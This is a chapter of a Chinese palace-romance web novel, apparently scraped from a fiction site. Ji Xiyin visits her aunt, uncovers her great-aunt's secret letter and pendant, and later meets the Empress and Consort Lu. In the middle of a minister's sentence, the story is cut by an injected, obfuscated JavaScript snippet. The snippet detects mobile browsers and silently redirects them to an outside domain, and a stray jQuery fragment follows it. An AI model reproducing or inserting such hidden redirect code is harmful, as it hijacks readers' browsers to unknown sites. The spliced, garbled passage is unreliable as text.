89. 焦灼

作品:《杳杳玄音

    墨染知晓世子的性子,故意将车赶得很慢,待来到西城一处小院子外,已是一个时辰后。


    墨染洋洋自得,回去后世子定要夸他懂事。


    季希音整理衣襟发髻,偏生被周暄勾扯得凌乱不止,她娇声欲泣,这副模样要是被姨母见了,又得挨一顿数落。


    周暄哄了半晌,今日确实是他孟浪了,险些没刹住。


    最后只好将坐在车辕上的画扇换进来帮她重新梳发。


    画扇甫一进来,看希音媚眼如丝的眼尾,怔愣住一瞬。


    希音察觉她的异常,自身毫无所觉:“怎么了?”


    她不便明说,只好故意放慢手上速度,折腾了一刻钟才弄好。


    再细瞧希音的脸蛋,虽还有些红扑扑的,但比起刚开始已正常许多。


    但愿季家姨母看不出来吧!


    今日出宫为了行动方便,希音只着一身桃粉衣裙。她敛着衣裙跳下马车,墨染刚好去敲门。


    这座小院在一条偏巷最里面,旁边最近的房子都有十来丈距离。


    敲门声有节奏的响了三下,院门开了一条缝,墨染赶紧露出讨好的笑脸。


    见是他来,梁修没好气道:“又来作甚?不是说近日都减少接触吗?”


    面对世子爷未来的岳家亲人,墨染非常狗腿的给对方面子。


    “梁大哥安好!小弟带主子来了。”


    梁修一听对方的主子,更加加快了关门的速度。娘可告诫过他们,少于黑心的贤王世子打交道。


    门关到一半,一道柔柔的少女娇声传来:“梁表哥!”


    梁修一喜,院门大开,高兴得朗声道:“希音妹妹来了!”


    希音才刚跨过门槛,梁修已兴冲冲跑去后院,唤她娘和妹妹。


    她打量干净整洁的小院子,花草修剪的整整齐齐,颇有春念的作风。


    前后两进院子,虽然装修不是富丽堂皇,但很有家的温馨感觉。


    她暗暗满意,冲跟在身后的周暄眨眨眼以示感谢。


    周暄今日饱尝餍足,心情颇好。面对希音的笑脸,他唇角忍不住上扬。


    从后院匆忙出来的季姨母,一眼就瞧见廊下双目含情的两人。


    梁佩、春念和夏想齐声唤道。


    “希音妹妹!”


    “小姐!”


    “郡主!”


    声音明明是同时发出,却没一个相同的。


    季希音忍不住噗嗤笑出声,笑着笑着眼角泛红。


    大家都在,真好!


    半个时辰后,众人聚在主屋互诉离别之思。他们告诉希音一切都好,连梁佩都忍不住夸了一句周暄安排甚为妥当。


    季希音也挑拣着在宫中的趣事分享,只要不涉及皇家私事,也不是不能拿出来说。


    比起长久分别的父母,屋子里的人更像她真正的亲人。


    “姨母,你可见着我父亲了?他现下受封昌顺伯,听说圣上赐了府邸。”


    季希音觑了一眼姨母神色,小心翼翼问道。


    果然姨母方才还落满笑容的脸上瞬间沉了下来,她抿了抿唇,也不避讳屋中的人,淡淡道:“见了一面,我问及你母亲的下落,他避而不谈,反而追问你的过往。”


    “以及同这位的关系。”姨母瞥向淡定喝茶的周暄。


    周暄放下茶盏的手一顿,季希音像受惊的兔子,慌乱忙问:“姨母是如何说的?”


    姨母抬手轻抚她的发顶,放柔语气:“放心,姨母什么也没说。只是你,眼下被困在宫中,即使身份尊贵,将来可如何是好。”


    季希音有些羞怯避开姨母打量的目光,睫毛低覆:“姨母放心,希音知晓如何能让自己更好。”


    前路再难,也要迎难而上。


    话题落到姨婆身上,季希音坦言顾相和姨婆的旧事,姨母陷入深深沉思。


    “佩儿,你去我房中柜子里找一个莲纹的紫檀匣子。”


    梁佩尚还沉浸在姨婆的悲剧爱情,抹着眼泪呜咽离去。


    “希音,上次我给你的发钗,既是你姨婆所留,想必顾相也识得,你不妨下次再试一试,看他能为你做到哪一步。”


    姨母止住希音的欲言又止,谆谆教诲:“你既已深陷其中,当全力寻求助力,只要你不失本心,便是最好。”


    梁佩没多久就抱着匣子而来,姨母当众打开,里面放着一支羊脂玉莲纹发簪,应是她原本说留给梁佩那只。


    姨母轻轻取出发簪放置一旁,竟然掀开绒布,下面还有一层暗格。


    “我也是偶然发现的,或许你外祖都不知晓,你自己看吧!”


    希音好奇接过匣子,里面之物让她倒吸一口凉气。


    坐在马车回去的路上,希音一言不发,抱着紫檀匣子怔怔出神。


    姨母为了她的将来,将匣子给了她,只留了一直莲纹发簪作念想。


    只是她没料到,姨婆出宫后过了那样凄惨的一段日子。


    原来,姨婆当年出宫没多久便诊出了身孕。她既欣喜又酸涩。


    这是她和他的孩子,可注定了不能拥有父亲。


    性格倔强又坚毅的她拖着日渐变大的肚子,躲在一处乡下,得善良的村民邻里帮忙,平安产下一子。


    日子安稳没多久,一场瘟疫夺走了幼子的性命,她也落了病根。


    心灰意冷,她拖着病弱身躯,回到故乡秦州。


    可能人之将死也想落叶归根。


    她并未将自己身上的事情告知兄长,只留下一个紫檀匣子,便怀着爱恨交加的痛意香消陨落。


    匣子里有她多年的制香心得,被幼时的姨母翻出来反复研读,学得一门高超的制香手艺。


    而绒布底下,藏着她临终前写下的肺腑之言。


    不知你是我的哪位后人,想来传自兄长血脉。


    你既能看到这封信,证明你我有缘。望你日后不要如我一般陷入情爱,失去自己独立的人格。


    此处所留玉佩,乃孝贤皇后所赐,娘娘心善仁慈,允我将来能求她一件事,我是用不上了,留给后人做个纪念。


    望你珍之重之。


    一日之间心情大起大落,季希音软软靠在周暄肩头,摩挲着匣子低语道:“孝贤皇后留此物,应当是想让姨婆去求她赐婚,有皇后抬举,即使不能贵为正妻,也是贵妾的身份。”


    周暄大掌覆上她的手掌:“可你的姨婆纵然明白,她也不愿。”


    季希音满脑愁思,周暄又何尝不是?


    无怪乎季氏姨母一副难说话的样子,怀中的少女也是倔强的很。


    原来是有家族遗传的特性……


    若是来日,自己不小心说错话做错事,怀中的少女是否也会不辞而别?


    他只要一想到,季希音将来可能会一个人抱着他们的孩子躲起来,郁郁而终,心脏不由得一阵抽痛。


    伏在他怀里的希音察觉到他身子僵硬,仰头疑惑:“你怎么了?”


    俏生生的巴掌小脸上,泪痕犹在,明明自己还满脑子伤心事,却能瞬间感受到自己的心情。


    “无事。”周暄语气坚定,从没有一刻如现在般决断,嘴唇抿紧,手上用力将人紧搂在怀里。


    我断不会让你落得如此下场。


    没过两日,前朝出了一件不算大的事,那便是顾相重新上朝了。


    顾相头发雪白如鹤羽,精神矍铄,神采奕奕对多日不见的同僚道:“一把老骨头,还想在进土


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16498036|181528||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    之前为陛下效忠一二,也是全了老臣为官三朝的终愿。”


    景仁帝既惊讶又高兴,特命人在御座下首置了一张圈椅,铺上厚厚的垫子,设为顾相专座。


    而在后宫的季希音不再频繁出去。


    一是因为荣安渐渐恢复,她想多留点时间在宫中陪伴并打探消息。


    二是她一个手无缚鸡之力的弱女子,虽然在帝后面前言辞恳切,但也没指望真由她亲力亲为的查案,反而出宫次数太多容易引起怀疑。


    皇后暂且信任她,她不能丢掉这份难得的善意。


    她同皇后说明情况,并在皇后的同意下,每日巳时正由贴身宫女到宫门口领取龙影卫或是大理寺传递的案情进展。


    皇后疑惑:“你居然能说动周暄听你安排?”


    季希音垂首敛目:“不是长宁有大能耐,而是周世子得陛下倚重信任,非常配合查案,听闻他与荣安殿下一同长大,也曾过问臣女殿下的身子。”


    “暄儿确实是个好孩子。他初次进宫时,才这么点大。”皇后抬手比划了下,“太后娘娘瞧着这么漂亮的娃娃,非要留在宫中和皇子们一起养着。”


    “那时候的暄儿还是个不知天高地厚的顽劣孩童,竟天天带着皇子公主们上树掏蛋捉鸟,本宫稍微说重一句,母后就护着,着实让本宫苦恼。”


    “没想到,现在沉稳内敛,竟成了陛下的左膀右臂。”


    希音心中可不这样想。


    他外表沉稳,将她抵在案上时呼吸急促的是谁?


    他心性内敛,勾着她的小指非要她求饶的又是谁?


    简直是披着人皮的下流胚子!


    当然,在有着一双慧眼的皇后面前,她不敢流露出半点与周暄相熟的表情。


    干巴巴的顺着皇后的话夸道:“周世子干练,凌大人稳妥。”


    “你也不用太过心急,左右案子有一日终会水落石出。过几日天圣节将至,那可是大日子,稍后你去尚衣局裁几件新衣,好生准备。”皇后温和吩咐。


    “臣女遵命。”


    从尚衣局出来,路过御花园。季希音想起之前游湖,岸边杨柳依依,便想趁着日头还不大去走走。


    在湖边站了一会,身后传来欣喜呼唤:“长宁姐姐!”


    她转身望去,原来是四公主齐暖。


    那日的情景,将本就胆小的齐暖直接给吓病了。苏婕妤谨小慎微多年,不愿自己女儿去趟浑水,便干脆多日称病将人拘在屋中。


    今日也是听说荣安身子恢复,才将人放出来去请安探望。


    齐暖看大姐姐整个人瘦了一大圈,心中难过,便也想着来湖边散心。


    两人干脆让宫女在树下铺了软垫,直接坐在了湖边堤岸上。


    皇后治下甚严,即使是不受宠的公主齐暖,也依然无宫女敢怠慢。


    不一会,案几茶盏杯碟点心一应俱全,甚至铺到了希音的裙摆下。


    她暗暗乍舌,拈起一块绿色糕点尝了小口,两人闲聊起来。


    “哟,瞧瞧是谁?这不是大言不惭在陛下面前立誓要破案的长宁郡主吗?”


    一声带着嘲讽恶意的女声响起,两人回头,居然是多日不曾见过的陆贵妃。


    中宫皇后宽厚仁善,陆贵妃荣宠多年张扬跋扈,切记少于她碰面。


    心中忽地想起周暄的警告。


    进宫后,除了陪荣安玩耍,她多数待在皇后身边,偶尔见到陆贵妃,也是她来向皇后请安时,有皇后镇着,并不敢太过造次。


    可今日,一个不受宠的公主,一个突然冒出来的郡主,陆贵妃想怎么拿捏还不是自己说了算?


    她冷笑看着慌张起身行礼的两人,心中已划过不少整治的法子。